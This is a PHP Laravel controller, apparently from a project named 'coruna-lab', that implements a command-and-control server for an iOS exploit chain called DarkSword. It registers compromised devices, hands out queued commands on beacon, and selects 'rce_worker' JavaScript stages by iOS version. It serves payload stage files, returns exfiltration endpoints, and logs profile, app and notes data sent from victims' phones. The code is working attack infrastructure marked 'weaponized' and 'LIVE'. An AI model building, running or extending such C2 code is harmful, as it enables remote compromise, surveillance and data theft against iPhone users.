Files
coruna-lab/app/Http/Controllers/C2/DarkSwordC2Controller.php
T
2026-09-01 05:09:00 +08:00

462 lines
15 KiB
PHP

<?php
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Models\Device;
use App\Models\PageVisit;
use App\Services\DarkSwordIngestAdapter;
use App\Services\DsBeaconQueue;
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\Response as SymfonyResponse;
/**
* one99 / DarkSword C2: ingest plaintext JSON, then truncate-preview into ds log.
* Unique paths: routes/ds.php. Shared xxbb paths: routes/xxbb.php.
*/
class DarkSwordC2Controller extends Controller
{
public function __construct(
private readonly DarkSwordIngestAdapter $ingest,
private readonly DsBeaconQueue $beaconQueue,
) {}
/**
* Plaintext JSON on /a /u /nb /event /result is DarkSword, not xxbb AES.
*/
public static function matches(Request $request): bool
{
$path = '/'.ltrim($request->path(), '/');
if (! in_array($path, ['/a', '/u', '/nb', '/event', '/result'], true)) {
return false;
}
if ($request->headers->has('x-ts') && (string) $request->header('x-ts') !== '') {
return false;
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'json')) {
return true;
}
$raw = ltrim((string) $request->getContent());
return $raw !== '' && ($raw[0] === '{' || $raw[0] === '[');
}
public function beacon(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = $this->ingest->ensureDevice($request, $payload);
$command = $device ? $this->beaconQueue->dequeue($device) : null;
$body = [
'ok' => true,
'type' => $command['type'] ?? 'noop',
'client_ip' => $request->ip(),
'uuid' => $payload['uuid'] ?? $payload['lhu'] ?? null,
];
if ($command !== null) {
$body['command_id'] = $command['command_id'];
$body['params'] = $command['params'];
}
return $this->finish($request, '/beacon', $payload, response()->json($body));
}
public function war(Request $request): SymfonyResponse
{
return $this->ok($request, '/war', $this->jsonBody($request));
}
public function p(Request $request): SymfonyResponse
{
return $this->ok($request, '/p', $this->jsonBody($request));
}
public function stats(Request $request): SymfonyResponse
{
return $this->finish($request, '/stats', $this->jsonBody($request), response()->json([
'bytes' => strlen((string) $request->getContent()),
'ok' => true,
'path' => '/stats',
]));
}
public function log(Request $request): SymfonyResponse
{
$payload = $this->payloadFromQueryOrJson($request);
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
}
public function peStage(Request $request, string $name = ''): SymfonyResponse
{
$path = '/'.ltrim($request->path(), '/');
$stage = $this->peStageName($name !== '' ? $name : $path);
$payload = $this->payloadFromQueryOrJson($request);
$payload['pe_stage'] = $stage;
$payload['stage'] = $payload['stage'] ?? 'pe';
$payload['label'] = $payload['label'] ?? ('pe_stage:'.$stage);
$body = $this->previewBody($request);
if (is_array($body)) {
$body['pe_stage'] = $stage;
}
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
if (! is_file($file)) {
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
}
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
return $this->finish(
$request,
$path,
$payload,
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
$body
);
}
public function register(Request $request): SymfonyResponse
{
$payload = $this->jsonBody($request);
$device = strtoupper((string) (
$payload['deviceUUID']
?? $payload['device']
?? $payload['uuid']
?? $request->header('X-Device-UUID')
?? ''
));
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
'ok' => true,
'device' => $device,
'deviceUUID' => $device,
'device_id' => $device,
'aliased' => false,
'ios_version' => $ios,
'target_chain' => (string) ($payload['chain'] ?? 'darksword'),
'target_chain_label' => 'D鏈',
'offset_params' => [
'ok' => true,
'mode' => 'probing',
'device' => null,
'xnu' => str_starts_with($ios, '18.6') ? '24.6' : null,
'build' => null,
'candidates' => [],
'hint' => 'device model required (iPhoneN,M); refuse xnu-only kernelTask inject',
],
'sla_ms' => 15000,
's5_honest' => '',
]));
}
public function chainTargets(Request $request): SymfonyResponse
{
$forwarded = (string) $request->header('X-Forwarded-Host', '');
if ($forwarded !== '') {
$hostPort = explode(':', $forwarded, 2);
$host = $hostPort[0];
$port = isset($hostPort[1]) ? (int) $hostPort[1] : (int) $request->header('X-Forwarded-Port', $request->getPort());
$scheme = (string) $request->header('X-Forwarded-Proto', $request->getScheme());
} else {
$host = $request->getHost();
$port = (int) $request->getPort();
$scheme = $request->getScheme();
}
$scheme = strtolower((string) $scheme);
if ($port === 443) {
$scheme = 'https';
}
$base = $scheme.'://'.$host.($this->isDefaultPort($scheme, $port) ? '' : ':'.$port);
$ios = $this->requestIos($request);
$ds = PageVisit::isDarkSwordIosVersionString($ios);
if ($ds) {
[$recommended, $fallbacks] = $this->chainTargetWorkers($ios);
$chain = 'darksword';
$reason = 'DarkSword '.$ios;
} else {
$recommended = '';
$fallbacks = [];
$chain = 'coruna';
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
}
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
'ok' => true,
'chain' => $chain,
'weaponized' => true,
'gated' => false,
'ios' => $ios,
'reason' => $reason,
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'band' => [
'recommended_worker' => $recommended,
'fallback_workers' => $fallbacks,
'usable_for_attempt' => $ds,
'usable_grade' => 'LIVE',
'weaponized' => true,
],
'exfil' => [
'host' => $host,
'domain' => $host,
'http_port' => $port,
'https_port' => $port,
'tls' => $scheme === 'https',
'prefer_https' => $scheme === 'https',
'stats_url' => $base.'/stats',
'stats_url_direct' => $base.'/stats',
'delivery_stats_url' => $base.'/stats',
],
'delivery_ok' => true,
'entry_point' => '',
'redirect_to' => '',
's5_module' => '',
'usable_grade' => 'LIVE',
]));
}
public function profile(Request $request): SymfonyResponse
{
return $this->ok($request, '/a', $this->jsonBody($request));
}
public function apps(Request $request): SymfonyResponse
{
return $this->ok($request, '/u', $this->jsonBody($request));
}
public function notes(Request $request): SymfonyResponse
{
return $this->ok($request, '/nb', $this->jsonBody($request));
}
public function event(Request $request): SymfonyResponse
{
return $this->ok($request, '/event', $this->jsonBody($request));
}
public function result(Request $request): SymfonyResponse
{
return $this->ok($request, '/result', $this->jsonBody($request));
}
/**
* @param array<string, mixed> $payload
*/
private function ok(Request $request, string $path, array $payload): SymfonyResponse
{
return $this->finish($request, $path, $payload, response()->json(['ok' => true]));
}
private function logAck(Request $request): SymfonyResponse
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return response('ok', 200)->header('Content-Type', 'text/plain; charset=utf-8');
}
return response()->json(['status' => 'accepted']);
}
/**
* @param array<string, mixed> $payload
* @param array<string, mixed>|string|null $logBody
*/
private function finish(
Request $request,
string $path,
array $payload,
SymfonyResponse $response,
array|string|null $logBody = null,
bool $ingest = true,
): SymfonyResponse {
if ($ingest) {
try {
$this->ingest->ingest($request, $path, $payload);
} catch (\Throwable $e) {
error_log('[ds] ingest '.$path.' '.$e->getMessage());
}
}
$body = $logBody ?? $this->previewBody($request);
$respPreview = $this->previewString((string) $response->getContent(), 4096);
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
?? $request->attributes->get('coruna_device_key');
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
$entry = [
'dir' => 'ds',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
'query' => $request->query(),
'headers' => c2_log_request_meta($request)['headers'],
'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
}
return $response;
}
/**
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
*/
private function requestIos(Request $request): string
{
$ios = (string) $request->query('ios', '');
if ($ios !== '') {
return $ios;
}
$ua = (string) $request->userAgent();
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
$out = $m[1].'.'.$m[2];
if (($m[3] ?? '') !== '') {
$out .= '.'.$m[3];
}
return $out;
}
return '';
}
/**
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
*
* @return array{0: string, 1: list<string>}
*/
private function chainTargetWorkers(string $ios): array
{
$canon = PageVisit::canonicalIosVersion($ios);
return match ($canon) {
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
default => ['rce_worker_18.6.js', []],
};
}
private function isDefaultPort(string $scheme, int $port): bool
{
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
}
private function peStageName(string $path): string
{
$name = basename($path);
$name = (string) preg_replace('/\.js$/i', '', $name);
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
return $name !== '' ? $name : 'unknown';
}
/**
* @return array<string, mixed>
*/
private function payloadFromQueryOrJson(Request $request): array
{
$payload = $this->jsonBody($request);
if ($payload !== []) {
return $payload;
}
$query = $request->query();
return is_array($query) ? $query : [];
}
/**
* @return array<string, mixed>|string
*/
private function previewBody(Request $request): array|string
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return ['query' => $request->query()];
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'multipart/')) {
$files = [];
foreach ($request->allFiles() as $key => $file) {
$list = is_array($file) ? $file : [$file];
foreach ($list as $f) {
$files[] = [
'field' => $key,
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
];
}
}
return [
'multipart' => true,
'form' => $request->except(array_keys($request->allFiles())),
'files' => $files,
];
}
$raw = (string) $request->getContent();
$json = json_decode($raw, true);
if (is_array($json)) {
return $this->truncateArray($json);
}
return $this->previewString($raw, 4096);
}
/**
* @return array<string, mixed>
*/
private function jsonBody(Request $request): array
{
$json = json_decode((string) $request->getContent(), true);
return is_array($json) ? $json : [];
}
/**
* @param array<string, mixed> $data
* @return array<string, mixed>
*/
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
{
if ($depth > 4) {
return ['_truncated' => true];
}
$out = [];
$i = 0;
foreach ($data as $k => $v) {
if ($i++ > 80) {
$out['_more'] = true;
break;
}
if (is_string($v) && strlen($v) > $maxStr) {
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
} elseif (is_array($v)) {
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
} else {
$out[$k] = $v;
}
}
return $out;
}
private function previewString(string $raw, int $max): string
{
if (strlen($raw) <= $max) {
return $raw;
}
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
}
}